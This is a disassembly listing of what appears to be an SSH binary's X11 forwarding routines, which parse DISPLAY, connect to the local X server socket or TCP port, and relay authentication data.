08059c5b  68 bc 29 07 08        push    $0x80729bc   ;[in .rodata] 2020175477 'x75 x6e x69 x78' "unix:"
08059c60  53                    push    %ebx
08059c61  e8 b6 04 ff ff        call    0804a11c <strncmp>
08059c66  83 c4 10              add     $0x10,%esp
08059c69  85 c0                 test    %eax,%eax
08059c6b  74 09                 je      08059c76 <Unknown0210+0xba>
```

```
08059c6d  80 3b 3a                 cmpb    $0x3a,(%ebx)
08059c70  0f 85 0e 01 00 00        jne     08059d84 <Unknown0210+0x1c8>  ;270 'xe x1 x0 x0' ""
08059c76  52                       push    %edx
08059c77  8d 85 04 fe ff ff        lea     0xfffffe04(%ebp),%eax  ;-508 'x4 xfe xff xff' ""
08059c7d  50                       push    %eax
08059c7e  68 c2 29 07 08           push    $0x80729c2  ;[in .rodata] 25637 'x25 x64 x0 x0' "%d"
08059c83  83 ec 0c                 sub     $0xc,%esp
08059c86  6a 3a                    push    $0x3a
08059c88  53                       push    %ebx
08059c89  e8 ce 05 ff ff           call    0804a25c <strrchr>
08059c8e  83 c4 14                 add     $0x14,%esp
08059c91  40                       inc     %eax
08059c92  50                       push    %eax
08059c93  e8 d4 06 ff ff           call    0804a36c <sscanf>
08059c98  83 c4 10                 add     $0x10,%esp
08059c9b  48                       dec     %eax
08059c9c  74 0e                    je      08059cac <Unknown0210+0xf0>
08059c9e  83 ec 08                 sub     $0x8,%esp
08059ca1  53                       push    %ebx
08059ca2  68 e0 29 07 08           push    $0x80729e0  ;[in .rodata] 1819635523 'x43 x6f x75 x6c' "Could not
                                                           parse display number from DISPLAY: %.100s"
08059ca7  e9 1c 02 00 00           jmp     08059ec8 <Unknown0210+0x30c>  ;540 'x1c x2 x0 x0' ""
08059cac  50                       push    %eax
08059cad  6a 00                    push    $0x0
08059caf  6a 01                    push    $0x1
08059cb1  6a 01                    push    $0x1
08059cb3  e8 b4 07 ff ff           call    0804a46c <socket>
08059cb8  89 c3                    mov     %eax,%ebx
08059cba  83 c4 10                 add     $0x10,%esp
08059cbd  85 db                    test    %ebx,%ebx
08059cbf  79 17                    jns     08059cd8 <Unknown0210+0x11c>
08059cc1  83 ec 10                 sub     $0x10,%esp
08059cc4  e8 73 01 ff ff           call    08049e3c <__errno_location>
08059cc9  5f                       pop     %edi
08059cca  ff 30                    pushl   (%eax)
08059ccc  e8 1b 01 ff ff           call    08049dec <strerror>
08059cd1  5b                       pop     %ebx
08059cd2  5e                       pop     %esi
08059cd3  e9 ea 01 00 00           jmp     08059ec2 <Unknown0210+0x306>  ;490 'xea x1 x0 x0' ""
08059cd8  51                       push    %ecx
08059cd9  8d b5 08 fe ff ff        lea     0xfffffe08(%ebp),%esi  ;-504 'x8 xfe xff xff' ""
08059cdf  56                       push    %esi
08059ce0  68 14 2a 07 08           push    $0x8072a14  ;[in .rodata] 1918989871 'x2f x76 x61 x72'
                                                           "/var/X/.X11-unix"
08059ce5  6a 03                    push    $0x3
08059ce7  66 c7 85 78 ff ff ff 01 00  movw  $0x1,0xffffff78(%ebp)  ;-136 'x78 xff xff xff' "x"
08059cf0  e8 37 03 ff ff           call    0804a02c <__xstat>
08059cf5  83 c4 10                 add     $0x10,%esp
08059cf8  85 c0                    test    %eax,%eax
08059cfa  75 10                    jne     08059d0c <Unknown0210+0x150>
08059cfc  83 ec 0c                 sub     $0xc,%esp
08059cff  ff b5 04 fe ff ff        pushl   0xfffffe04(%ebp)  ;-508 'x4 xfe xff xff' ""
08059d05  68 14 2a 07 08           push    $0x8072a14  ;[in .rodata] 1918989871 'x2f x76 x61 x72'
                                                           "/var/X/.X11-unix"
08059d0a  eb 21                    jmp     08059d2d <Unknown0210+0x171>
08059d0c  52                       push    %edx
08059d0d  56                       push    %esi
08059d0e  68 2f 2a 07 08           push    $0x8072a2f  ;[in .rodata] 1886221359 'x2f x74 x6d x70'
                                                           "/tmp/.X11-unix"
08059d13  6a 03                    push    $0x3
08059d15  e8 12 03 ff ff           call    0804a02c <__xstat>
08059d1a  83 c4 10                 add     $0x10,%esp
08059d1d  85 c0                    test    %eax,%eax
08059d1f  83 ec 0c                 sub     $0xc,%esp
08059d22  ff b5 04 fe ff ff        pushl   0xfffffe04(%ebp)  ;-508 'x4 xfe xff xff' ""
08059d28  68 2f 2a 07 08           push    $0x8072a2f  ;[in .rodata] 1886221359 'x2f x74 x6d x70'
                                                           "/tmp/.X11-unix"
08059d2d  68 25 2a 07 08           push    $0x8072a25  ;[in .rodata] 808988197 'x25 x2e x38 x30' "%.80s/X%d"
08059d32  6a 6c                    push    $0x6c
08059d34  8d 85 7a ff ff ff        lea     0xffffff7a(%ebp),%eax  ;-134 'x7a xff xff xff' "z"
08059d3a  50                       push    %eax
08059d3b  e8 9c 05 ff ff           call    0804a2dc <snprintf>
08059d40  83 c4 20                 add     $0x20,%esp
08059d43  50                       push    %eax
08059d44  6a 6e                    push    $0x6e
08059d46  8d 85 78 ff ff ff        lea     0xffffff78(%ebp),%eax  ;-136 'x78 xff xff xff' "x"
08059d4c  50                       push    %eax
08059d4d  53                       push    %ebx
08059d4e  e8 69 06 ff ff           call    0804a3bc <connect>
08059d53  83 c4 10                 add     $0x10,%esp
08059d56  85 c0                    test    %eax,%eax
08059d58  0f 89 d2 01 00 00        jns     08059f30 <Unknown0210+0x374>  ;466 'xd2 x1 x0 x0' ""
08059d5e  83 ec 10                 sub     $0x10,%esp
08059d61  e8 d6 00 ff ff           call    08049e3c <__errno_location>
```

```
08059d66  5f                       pop     %edi
08059d67  ff 30                    pushl   (%eax)
08059d69  e8 7e 00 ff ff           call    08049dec <strerror>
08059d6e  83 c4 0c                 add     $0xc,%esp
08059d71  50                       push    %eax
08059d72  8d 85 7a ff ff ff        lea     0xffffff7a(%ebp),%eax  ;-134 'x7a xff xff xff' "z"
08059d78  50                       push    %eax
08059d79  68 3e 2a 07 08           push    $0x8072a3e  ;[in .rodata] 1852731235 'x63 x6f x6e x6e' "connect
                                                           %.100s: %.100s"
08059d7e  e9 98 01 00 00           jmp     08059f1b <Unknown0210+0x35f>  ;408 'x98 x1 x0 x0' ""
08059d83  90                       nop
08059d84  56                       push    %esi
08059d85  68 ff 00 00 00           push    $0xff   ;255 'xff x0 x0 x0' ""
08059d8a  53                       push    %ebx
08059d8b  8d b5 68 fe ff ff        lea     0xfffffe68(%ebp),%esi  ;-408 'x68 xfe xff xff' "h"
08059d91  56                       push    %esi
08059d92  e8 35 06 ff ff           call    0804a3cc <strncpy>
08059d97  5a                       pop     %edx
08059d98  59                       pop     %ecx
08059d99  6a 3a                    push    $0x3a
08059d9b  56                       push    %esi
08059d9c  c6 85 66 ff ff ff 00     movb    $0x0,0xffffff66(%ebp)  ;-154 'x66 xff xff xff' "f"
08059da3  e8 b4 fe fe ff           call    08049c5c <strchr>
08059da8  89 c2                    mov     %eax,%edx
08059daa  83 c4 10                 add     $0x10,%esp
08059dad  85 d2                    test    %edx,%edx
08059daf  75 0f                    jne     08059dc0 <Unknown0210+0x204>
08059db1  83 ec 08                 sub     $0x8,%esp
08059db4  53                       push    %ebx
08059db5  68 60 2a 07 08           push    $0x8072a60  ;[in .rodata] 1819635523 'x43 x6f x75 x6c' "Could not
                                                           find ':' in DISPLAY: %.100s"
08059dba  e9 09 01 00 00           jmp     08059ec8 <Unknown0210+0x30c>  ;265 'x9 x1 x0 x0' ""
08059dbf  90                       nop
08059dc0  c6 02 00                 movb    $0x0,(%edx)
08059dc3  50                       push    %eax
08059dc4  8d 85 04 fe ff ff        lea     0xfffffe04(%ebp),%eax  ;-508 'x4 xfe xff xff' ""
08059dca  50                       push    %eax
08059dcb  68 c2 29 07 08           push    $0x80729c2  ;[in .rodata] 25637 'x25 x64 x0 x0' "%d"
08059dd0  8d 42 01                 lea     0x1(%edx),%eax
08059dd3  50                       push    %eax
08059dd4  e8 93 05 ff ff           call    0804a36c <sscanf>
08059dd9  83 c4 10                 add     $0x10,%esp
08059ddc  48                       dec     %eax
08059ddd  74 11                    je      08059df0 <Unknown0210+0x234>
08059ddf  83 ec 08                 sub     $0x8,%esp
08059de2  53                       push    %ebx
08059de3  68 e0 29 07 08           push    $0x80729e0  ;[in .rodata] 1819635523 'x43 x6f x75 x6c' "Could not
                                                           parse display number from DISPLAY: %.100s"
08059de8  e9 db 00 00 00           jmp     08059ec8 <Unknown0210+0x30c>  ;219 'xdb x0 x0 x0' ""
08059ded  8d 76 00                 lea     0x0(%esi),%esi
08059df0  83 ec 0c                 sub     $0xc,%esp
08059df3  56                       push    %esi
08059df4  c7 85 68 ff ff ff 00 00 00 00  movl  $0x0,0xffffff68(%ebp)  ;0 'x0 x0 x0 x0' ""
08059dfe  c7 85 6c ff ff ff 00 00 00 00  movl  $0x0,0xffffff6c(%ebp)  ;0 'x0 x0 x0 x0' ""
08059e08  c7 85 70 ff ff ff 00 00 00 00  movl  $0x0,0xffffff70(%ebp)  ;0 'x0 x0 x0 x0' ""
08059e12  c7 85 74 ff ff ff 00 00 00 00  movl  $0x0,0xffffff74(%ebp)  ;0 'x0 x0 x0 x0' ""
08059e1c  e8 2b 03 ff ff           call    0804a14c <inet_addr>
08059e21  89 85 6c ff ff ff        mov     %eax,0xffffff6c(%ebp)  ;-148 'x6c xff xff xff' "l"
08059e27  83 c4 10                 add     $0x10,%esp
08059e2a  40                       inc     %eax
08059e2b  74 0b                    je      08059e38 <Unknown0210+0x27c>
08059e2d  66 c7 85 68 ff ff ff 02 00  movw  $0x2,0xffffff68(%ebp)  ;-152 'x68 xff xff xff' "h"
08059e36  eb 47                    jmp     08059e7f <Unknown0210+0x2c3>
08059e38  83 ec 0c                 sub     $0xc,%esp
08059e3b  56                       push    %esi
08059e3c  e8 db 04 ff ff           call    0804a31c <gethostbyname>
08059e41  89 c2                    mov     %eax,%edx
08059e43  83 c4 10                 add     $0x10,%esp
08059e46  85 d2                    test    %edx,%edx
08059e48  75 0e                    jne     08059e58 <Unknown0210+0x29c>
08059e4a  83 ec 08                 sub     $0x8,%esp
08059e4d  56                       push    %esi
08059e4e  68 06 28 07 08           push    $0x8072806  ;[in .rodata] 808529445 'x25 x2e x31 x30' "%.100s:
                                                           unknown host."
08059e53  eb 73                    jmp     08059ec8 <Unknown0210+0x30c>
08059e55  8d 76 00                 lea     0x0(%esi),%esi
08059e58  8b 42 10                 mov     0x10(%edx),%eax
08059e5b  8b 08                    mov     (%eax),%ecx
08059e5d  85 c9                    test    %ecx,%ecx
08059e5f  75 0b                    jne     08059e6c <Unknown0210+0x2b0>
08059e61  83 ec 08                 sub     $0x8,%esp
08059e64  56                       push    %esi
08059e65  68 20 28 07 08           push    $0x8072820  ;[in .rodata] 808529445 'x25 x2e x31 x30' "%.100s: host
```

has no IP address."

```
08059e6a  eb 5c                    jmp     08059ec8 <Unknown0210+0x30c>
08059e6c  66 8b 42 08              mov     0x8(%edx),%ax
08059e70  66 89 85 68 ff ff ff     mov     %ax,0xffffff68(%ebp)   ;-152 'x68 xff xff xff' "h"
08059e77  8b 01                    mov     (%ecx),%eax
08059e79  89 85 6c ff ff ff        mov     %eax,0xffffff6c(%ebp)   ;-148 'x6c xff xff xff' "l"
08059e7f  8b 85 04 fe ff ff        mov     0xfffffe04(%ebp),%eax   ;-508 'x4 xfe xff xff' ""
08059e85  05 70 17 00 00           add     $0x1770,%eax   ;6000 'x70 x17 x0 x0' "p"
08059e8a  66 c1 c8 08              ror     $0x8,%ax
08059e8e  56                       push    %esi
08059e8f  6a 00                    push    $0x0
08059e91  6a 01                    push    $0x1
08059e93  66 89 85 6a ff ff ff     mov     %ax,0xffffff6a(%ebp)   ;-150 'x6a xff xff xff' "j"
08059e9a  0f b7 85 68 ff ff ff     movzwl  0xffffff68(%ebp),%eax   ;-152 'x68 xff xff xff' "h"
08059ea1  50                       push    %eax
08059ea2  e8 c5 05 ff ff           call    0804a46c <socket>
08059ea7  89 c3                    mov     %eax,%ebx
08059ea9  83 c4 10                 add     $0x10,%esp
08059eac  85 db                    test    %ebx,%ebx
08059eae  79 28                    jns     08059ed8 <Unknown0210+0x31c>
08059eb0  83 ec 10                 sub     $0x10,%esp
08059eb3  e8 84 ff fe ff           call    08049e3c <__errno_location>
08059eb8  5b                       pop     %ebx
08059eb9  ff 30                    pushl   (%eax)
08059ebb  e8 2c ff fe ff           call    08049dec <strerror>
08059ec0  5a                       pop     %edx
08059ec1  59                       pop     %ecx
08059ec2  50                       push    %eax
08059ec3  68 e8 25 07 08           push    $0x80725e8   ;[in .rodata] 1801678707 'x73 x6f x63 x6b' "socket:
                                                          %.100s"
08059ec8  e8 3b 5f ff ff           call    0804fe08 <Unknown0040>
08059ecd  83 c4 10                 add     $0x10,%esp
08059ed0  e9 eb 00 00 00           jmp     08059fc0 <Unknown0210+0x404>   ;235 'xeb x0 x0 x0' ""
08059ed5  8d 76 00                 lea     0x0(%esi),%esi
08059ed8  50                       push    %eax
08059ed9  6a 10                    push    $0x10
08059edb  8d 85 68 ff ff ff        lea     0xffffff68(%ebp),%eax   ;-152 'x68 xff xff xff' "h"
08059ee1  50                       push    %eax
08059ee2  53                       push    %ebx
08059ee3  e8 d4 04 ff ff           call    0804a3bc <connect>
08059ee8  83 c4 10                 add     $0x10,%esp
08059eeb  85 c0                    test    %eax,%eax
08059eed  79 41                    jns     08059f30 <Unknown0210+0x374>
08059eef  83 ec 10                 sub     $0x10,%esp
08059ef2  e8 45 ff fe ff           call    08049e3c <__errno_location>
08059ef7  5f                       pop     %edi
08059ef8  ff 30                    pushl   (%eax)
08059efa  e8 ed fe fe ff           call    08049dec <strerror>
08059eff  83 c4 10                 add     $0x10,%esp
08059f02  50                       push    %eax
08059f03  8b 85 04 fe ff ff        mov     0xfffffe04(%ebp),%eax   ;-508 'x4 xfe xff xff' ""
08059f09  05 70 17 00 00           add     $0x1770,%eax   ;6000 'x70 x17 x0 x0' "p"
08059f0e  50                       push    %eax
08059f0f  8d 85 68 fe ff ff        lea     0xfffffe68(%ebp),%eax   ;-408 'x68 xfe xff xff' "h"
08059f15  50                       push    %eax
08059f16  68 40 28 07 08           push    $0x8072840   ;[in .rodata] 1852731235 'x63 x6f x6e x6e' "connect
                                                          %.100s:%d: %.100s"
08059f1b  e8 e8 5e ff ff           call    0804fe08 <Unknown0040>
08059f20  89 1c 24                 mov     %ebx,(%esp,1)
08059f23  e8 b4 fd fe ff           call    08049cdc <close>
08059f28  83 c4 10                 add     $0x10,%esp
08059f2b  e9 90 00 00 00           jmp     08059fc0 <Unknown0210+0x404>   ;144 'x90 x0 x0 x0' ""
08059f30  56                       push    %esi
08059f31  68 00 08 00 00           push    $0x800   ;2048 'x0 x8 x0 x0' ""
08059f36  6a 04                    push    $0x4
08059f38  53                       push    %ebx
08059f39  e8 ee 02 ff ff           call    0804a22c <fcntl>
08059f3e  8b 0d 64 7e 07 08        mov     0x8077e64,%ecx   ;[in .data] 0 'x0 x0 x0 x0' ""
08059f44  83 c4 10                 add     $0x10,%esp
08059f47  85 c9                    test    %ecx,%ecx
08059f49  75 09                    jne     08059f54 <Unknown0210+0x398>
08059f4b  52                       push    %edx
08059f4c  57                       push    %edi
08059f4d  53                       push    %ebx
08059f4e  6a 04                    push    $0x4
08059f50  eb 07                    jmp     08059f59 <Unknown0210+0x39d>
08059f52  89 f6                    mov     %esi,%esi
08059f54  50                       push    %eax
08059f55  57                       push    %edi
08059f56  53                       push    %ebx
08059f57  6a 09                    push    $0x9
08059f59  e8 0e e0 ff ff           call    08057f6c <Unknown0180>
08059f5e  89 c3                    mov     %eax,%ebx
```

```
08059f60  83 c4 10                  add     $0x10,%esp
08059f63  89 d8                     mov     %ebx,%eax
08059f65  c1 e0 05                  shl     $0x5,%eax
08059f68  01 d8                     add     %ebx,%eax
08059f6a  8d 04 43                  lea     (%ebx,%eax,2),%eax
08059f6d  8b 15 48 7e 07 08         mov     0x8077e48,%edx   ;[in .data] 0 'x0 x0 x0 x0' ""
08059f73  c1 e0 02                  shl     $0x2,%eax
08059f76  c7 84 02 08 01 00 00 01 00 00 00  movl    $0x1,0x108(%edx,%eax,1)   ;1 'x1 x0 x0 x0' ""
08059f81  8b 8d 00 fe ff ff         mov     0xfffffe00(%ebp),%ecx   ;-512 'x0 xfe xff xff' ""
08059f87  89 4c 02 08               mov     %ecx,0x8(%edx,%eax,1)
08059f8b  83 ec 0c                  sub     $0xc,%esp
08059f8e  68 a0 2a 07 08            push    $0x8072aa0 ;[in .rodata] 1684956499 'x53 x65 x6e x64' "Sending
                                                                                 open confirmation to the remote host."
08059f93  e8 e8 5d ff ff            call    0804fd80 <Unknown0039>
08059f98  c7 04 24 15 00 00 00      movl    $0x15,(%esp,1)   ;21 'x15 x0 x0 x0' ""
08059f9f  e8 70 c0 ff ff            call    08056014 <Unknown0138>
08059fa4  5e                        pop     %esi
08059fa5  ff b5 00 fe ff ff         pushl   0xfffffe00(%ebp)   ;-512 'x0 xfe xff xff' ""
08059fab  e8 c4 c0 ff ff            call    08056074 <Unknown0141>
08059fb0  89 1c 24                  mov     %ebx,(%esp,1)
08059fb3  e8 bc c0 ff ff            call    08056074 <Unknown0141>
08059fb8  e8 ff c0 ff ff            call    080560bc <Unknown0144>
08059fbd  eb 2b                     jmp     08059fea <Unknown0210+0x42e>
08059fbf  90                        nop
08059fc0  83 ec 0c                  sub     $0xc,%esp
08059fc3  68 ce 2a 07 08            push    $0x8072ace   ;[in .rodata] 1818845510 'x46 x61 x69 x6c' "Failed..."
08059fc8  e8 b3 5d ff ff            call    0804fd80 <Unknown0039>
08059fcd  c7 04 24 16 00 00 00      movl    $0x16,(%esp,1)   ;22 'x16 x0 x0 x0' ""
08059fd4  e8 3b c0 ff ff            call    08056014 <Unknown0138>
08059fd9  59                        pop     %ecx
08059fda  ff b5 00 fe ff ff         pushl   0xfffffe00(%ebp)   ;-512 'x0 xfe xff xff' ""
08059fe0  e8 8f c0 ff ff            call    08056074 <Unknown0141>
08059fe5  e8 d2 c0 ff ff            call    080560bc <Unknown0144>
08059fea  8d 65 f4                  lea     0xfffffff4(%ebp),%esp
08059fed  5b                        pop     %ebx
08059fee  5e                        pop     %esi
08059fef  5f                        pop     %edi
08059ff0  5d                        pop     %ebp
08059ff1  c3                        ret
08059ff2  89 f6                     mov     %esi,%esi


   ;
   ; >----------------------<  Subroutine # 211 >----------------------<
   ;
08059ff4 <Unknown0211>:
08059ff4  55                        push    %ebp
08059ff5  89 e5                     mov     %esp,%ebp
08059ff7  57                        push    %edi
08059ff8  56                        push    %esi
08059ff9  53                        push    %ebx
08059ffa  83 ec 28                  sub     $0x28,%esp
08059ffd  31 c0                     xor     %eax,%eax
08059fff  8b 7d 10                  mov     0x10(%ebp),%edi
0805a002  fc                        cld
0805a003  b9 ff ff ff ff            mov     $0xffffffff,%ecx   ;-1 'xff xff xff xff' ""
0805a008  f2 ae                     repnz scas %es:(%edi),%al
0805a00a  f7 d1                     not     %ecx
0805a00c  8d 79 ff                  lea     0xffffffff(%ecx),%edi
0805a00f  68 a3 29 07 08            push    $0x80729a3   ;[in .rodata] 1347635524 'x44 x49 x53 x50' "DISPLAY"
0805a014  e8 03 fd fe ff            call    08049d1c <getenv>
0805a019  d1 ef                     shr     %edi
0805a01b  83 c4 10                  add     $0x10,%esp
0805a01e  85 c0                     test    %eax,%eax
0805a020  74 0e                     je      0805a030 <Unknown0211+0x3c>
0805a022  83 ec 08                  sub     $0x8,%esp
0805a025  6a 3a                     push    $0x3a
0805a027  50                        push    %eax
0805a028  e8 2f fc fe ff            call    08049c5c <strchr>
0805a02d  83 c4 10                  add     $0x10,%esp
0805a030  85 c0                     test    %eax,%eax
0805a032  74 0e                     je      0805a042 <Unknown0211+0x4e>
0805a034  83 ec 08                  sub     $0x8,%esp
0805a037  6a 2e                     push    $0x2e
0805a039  50                        push    %eax
0805a03a  e8 1d fc fe ff            call    08049c5c <strchr>
0805a03f  83 c4 10                  add     $0x10,%esp
0805a042  85 c0                     test    %eax,%eax
0805a044  74 16                     je      0805a05c <Unknown0211+0x68>
0805a046  6a 00                     push    $0x0
0805a048  6a 0a                     push    $0xa
0805a04a  6a 00                     push    $0x0
0805a04c  40                        inc     %eax
0805a04d  50                        push    %eax
```

```
0805a04e  e8 a9 00 ff ff        call    0804a0fc <__strtol_internal>
0805a053  83 c4 10              add     $0x10,%esp
0805a056  89 45 e8              mov     %eax,0xffffffe8(%ebp)
0805a059  eb 08                 jmp     0805a063 <Unknown0212>
0805a05b  90                    nop
0805a05c  c7 45 e8 00 00 00 00  movl    $0x0,0xffffffe8(%ebp)


  ;
  ; >--------------------<  Subroutine # 212 >--------------------<
  ;
0805a063 <Unknown0212>:
0805a063  83 ec 0c              sub     $0xc,%esp
0805a066  ff 75 0c              pushl   0xc(%ebp)
0805a069  e8 ca ce ff ff        call    08056f38 <Unknown0173>
0805a06e  89 3c 24              mov     %edi,(%esp,1)
0805a071  a3 64 7e 07 08        mov     %eax,0x8077e64  ;[in .data] 0 'x0 x0 x0 x0' ""
0805a076  e8 15 ce ff ff        call    08056e90 <Unknown0170>
0805a07b  89 3c 24              mov     %edi,(%esp,1)
0805a07e  a3 68 7e 07 08        mov     %eax,0x8077e68  ;[in .data] 0 'x0 x0 x0 x0' ""
0805a083  31 f6                 xor     %esi,%esi
0805a085  e8 06 ce ff ff        call    08056e90 <Unknown0170>
0805a08a  83 c4 10              add     $0x10,%esp
0805a08d  39 fe                 cmp     %edi,%esi
0805a08f  a3 70 7e 07 08        mov     %eax,0x8077e70  ;[in .data] 0 'x0 x0 x0 x0' ""
0805a094  73 5d                 jae     0805a0f3 <Unknown0212+0x90>
0805a096  8d 45 f0              lea     0xfffffff0(%ebp),%eax
0805a099  89 45 e4              mov     %eax,0xffffffe4(%ebp)
0805a09c  8b 5d 10              mov     0x10(%ebp),%ebx
0805a09f  90                    nop
0805a0a0  50                    push    %eax
0805a0a1  ff 75 e4              pushl   0xffffffe4(%ebp)
0805a0a4  68 d8 2a 07 08        push    $0x8072ad8  ;[in .rodata] 7877157 'x25 x32 x78 x0' "%2x"
0805a0a9  53                    push    %ebx
0805a0aa  e8 bd 02 ff ff        call    0804a36c <sscanf>
0805a0af  83 c4 10              add     $0x10,%esp
0805a0b2  48                    dec     %eax
0805a0b3  74 13                 je      0805a0c8 <Unknown0212+0x65>
0805a0b5  83 ec 08              sub     $0x8,%esp
0805a0b8  ff 75 10              pushl   0x10(%ebp)
0805a0bb  68 e0 2a 07 08        push    $0x8072ae0  ;[in .rodata] 1597059448 'x78 x31 x31 x5f'
                                                    "x11_request_forwarding: bad authentication data:
                                                    %.100s"
0805a0c0  e8 97 5e ff ff        call    0804ff5c <Unknown0044>
0805a0c5  83 c4 10              add     $0x10,%esp
0805a0c8  8b 15 68 7e 07 08     mov     0x8077e68,%edx  ;[in .data] 0 'x0 x0 x0 x0' ""
0805a0ce  8a 45 f0              mov     0xfffffff0(%ebp),%al
0805a0d1  88 04 16              mov     %al,(%esi,%edx,1)
0805a0d4  83 ec 0c              sub     $0xc,%esp
0805a0d7  ff 75 08              pushl   0x8(%ebp)
0805a0da  e8 79 ae ff ff        call    08054f58 <Unknown0107>
0805a0df  8b 15 70 7e 07 08     mov     0x8077e70,%edx  ;[in .data] 0 'x0 x0 x0 x0' ""
0805a0e5  88 04 16              mov     %al,(%esi,%edx,1)
0805a0e8  46                    inc     %esi
0805a0e9  83 c4 10              add     $0x10,%esp
0805a0ec  83 c3 02              add     $0x2,%ebx
0805a0ef  39 fe                 cmp     %edi,%esi
0805a0f1  72 ad                 jb      0805a0a0 <Unknown0212+0x3d>
0805a0f3  83 ec 0c              sub     $0xc,%esp
0805a0f6  8d 44 3f 01           lea     0x1(%edi,%edi,1),%eax
0805a0fa  50                    push    %eax
0805a0fb  89 3d 6c 7e 07 08     mov     %edi,0x8077e6c  ;[in .data] 0 'x0 x0 x0 x0' ""
0805a101  89 3d 28 01 08 08     mov     %edi,0x8080128  ;[in .bss] 0 'x0 x0 x0 x0' ""
0805a107  31 f6                 xor     %esi,%esi
0805a109  e8 82 cd ff ff        call    08056e90 <Unknown0170>
0805a10e  83 c4 10              add     $0x10,%esp
0805a111  39 fe                 cmp     %edi,%esi
0805a113  89 45 ec              mov     %eax,0xffffffec(%ebp)
0805a116  73 2a                 jae     0805a142 <Unknown0212+0xdf>
0805a118  89 c3                 mov     %eax,%ebx
0805a11a  89 f6                 mov     %esi,%esi
0805a11c  a1 70 7e 07 08        mov     0x8077e70,%eax  ;[in .data] 0 'x0 x0 x0 x0' ""
0805a121  0f b6 04 06           movzbl  (%esi,%eax,1),%eax
0805a125  50                    push    %eax
0805a126  68 18 2b 07 08        push    $0x8072b18  ;[in .rodata] 2016555045 'x25 x30 x32 x78' "%02x"
0805a12b  6a 03                 push    $0x3
0805a12d  53                    push    %ebx
0805a12e  46                    inc     %esi
0805a12f  e8 a8 01 ff ff        call    0804a2dc <snprintf>
0805a134  83 c4 10              add     $0x10,%esp
0805a137  83 c3 02              add     $0x2,%ebx
0805a13a  39 fe                 cmp     %edi,%esi
0805a13c  0f 82 da ff ff ff     jb      0805a11c <Unknown0212+0xb9>  ;-38 'xda xff xff xff' ""
0805a142  83 ec 0c              sub     $0xc,%esp
```

```
0805a145  6a 22                        push    $0x22
0805a147  e8 c8 be ff ff               call    08056014 <Unknown0138>
0805a14c  8b 7d 0c                     mov     0xc(%ebp),%edi
0805a14f  fc                           cld
0805a150  31 c0                        xor     %eax,%eax
0805a152  b9 ff ff ff ff               mov     $0xffffffff,%ecx   ;-1 'xff xff xff xff' ""
0805a157  f2 ae                        repnz scas %es:(%edi),%al
0805a159  5b                           pop     %ebx
0805a15a  f7 d1                        not     %ecx
0805a15c  5e                           pop     %esi
0805a15d  49                           dec     %ecx
0805a15e  51                           push    %ecx
0805a15f  ff 75 0c                     pushl   0xc(%ebp)
0805a162  e8 25 bf ff ff               call    0805608c <Unknown0142>
0805a167  5a                           pop     %edx
0805a168  fc                           cld
0805a169  59                           pop     %ecx
0805a16a  8b 7d ec                     mov     0xffffffec(%ebp),%edi
0805a16d  31 c0                        xor     %eax,%eax
0805a16f  b9 ff ff ff ff               mov     $0xffffffff,%ecx   ;-1 'xff xff xff xff' ""
0805a174  f2 ae                        repnz scas %es:(%edi),%al
0805a176  f7 d1                        not     %ecx
0805a178  49                           dec     %ecx
0805a179  51                           push    %ecx
0805a17a  ff 75 ec                     pushl   0xffffffec(%ebp)
0805a17d  e8 0a bf ff ff               call    0805608c <Unknown0142>
0805a182  58                           pop     %eax
0805a183  ff 75 e8                     pushl   0xffffffe8(%ebp)
0805a186  e8 e9 be ff ff               call    08056074 <Unknown0141>
0805a18b  e8 2c bf ff ff               call    080560bc <Unknown0144>
0805a190  e8 67 c7 ff ff               call    080568fc <Unknown0159>
0805a195  5f                           pop     %edi
0805a196  ff 75 ec                     pushl   0xffffffec(%ebp)
0805a199  e8 72 cd ff ff               call    08056f10 <Unknown0172>
0805a19e  8d 65 f4                     lea     0xfffffff4(%ebp),%esp
0805a1a1  5b                           pop     %ebx
0805a1a2  5e                           pop     %esi
0805a1a3  5f                           pop     %edi
0805a1a4  c7 05 7c 7e 07 08 01 00 00 00  movl    $0x1,0x8077e7c  ;1 'x1 x0 x0 x0' ""
0805a1ae  5d                           pop     %ebp
0805a1af  c3                           ret


  ;
  ; >---------------------< Subroutine # 213 >---------------------<
  ;
0805a1b0 <Unknown0213>:
0805a1b0  55                           push    %ebp
0805a1b1  89 e5                        mov     %esp,%ebp
0805a1b3  83 ec 14                     sub     $0x14,%esp
0805a1b6  6a 1e                        push    $0x1e
0805a1b8  e8 57 be ff ff               call    08056014 <Unknown0138>
0805a1bd  e8 fa be ff ff               call    080560bc <Unknown0144>
0805a1c2  e8 35 c7 ff ff               call    080568fc <Unknown0159>
0805a1c7  c9                           leave
0805a1c8  c7 05 80 7e 07 08 01 00 00 00  movl    $0x1,0x8077e80  ;1 'x1 x0 x0 x0' ""
0805a1d2  c3                           ret
0805a1d3  90                           nop


  ;
  ; >---------------------< Subroutine # 214 >---------------------<
  ;
0805a1d4 <Unknown0214>:
0805a1d4  55                           push    %ebp
0805a1d5  a1 58 7e 07 08               mov     0x8077e58,%eax  ;[in .data] -1 'xff xff xff xff' ""
0805a1da  89 e5                        mov     %esp,%ebp
0805a1dc  5d                           pop     %ebp
0805a1dd  c3                           ret
0805a1de  89 f6                        mov     %esi,%esi


  ;
  ; >---------------------< Subroutine # 215 >---------------------<
  ;
0805a1e0 <Unknown0215>:
0805a1e0  55                           push    %ebp
0805a1e1  a1 5c 7e 07 08               mov     0x8077e5c,%eax  ;[in .data] 0 'x0 x0 x0 x0' ""
0805a1e6  89 e5                        mov     %esp,%ebp
0805a1e8  5d                           pop     %ebp
0805a1e9  c3                           ret
0805a1ea  89 f6                        mov     %esi,%esi
```

```
   ;
   ; >---------------------<  Subroutine # 216 >---------------------<
   ;
0805a1ec <Unknown0216>:
0805a1ec  55                           push    %ebp
0805a1ed  89 e5                        mov     %esp,%ebp
0805a1ef  a1 5c 7e 07 08               mov     0x8077e5c,%eax   ;[in .data] 0 'x0 x0 x0 x0' ""
0805a1f4  83 ec 08                     sub     $0x8,%esp
0805a1f7  85 c0                        test    %eax,%eax
0805a1f9  74 22                        je      0805a21d <Unknown0216+0x31>
0805a1fb  83 ec 0c                     sub     $0xc,%esp
0805a1fe  50                           push    %eax
0805a1ff  e8 78 fd fe ff               call    08049f7c <remove>
0805a204  5a                           pop     %edx
0805a205  ff 35 5c 7e 07 08            pushl   0x8077e5c   ;[in .data] 0 'x0 x0 x0 x0' ""
0805a20b  e8 00 cd ff ff               call    08056f10 <Unknown0172>
0805a210  83 c4 10                     add     $0x10,%esp
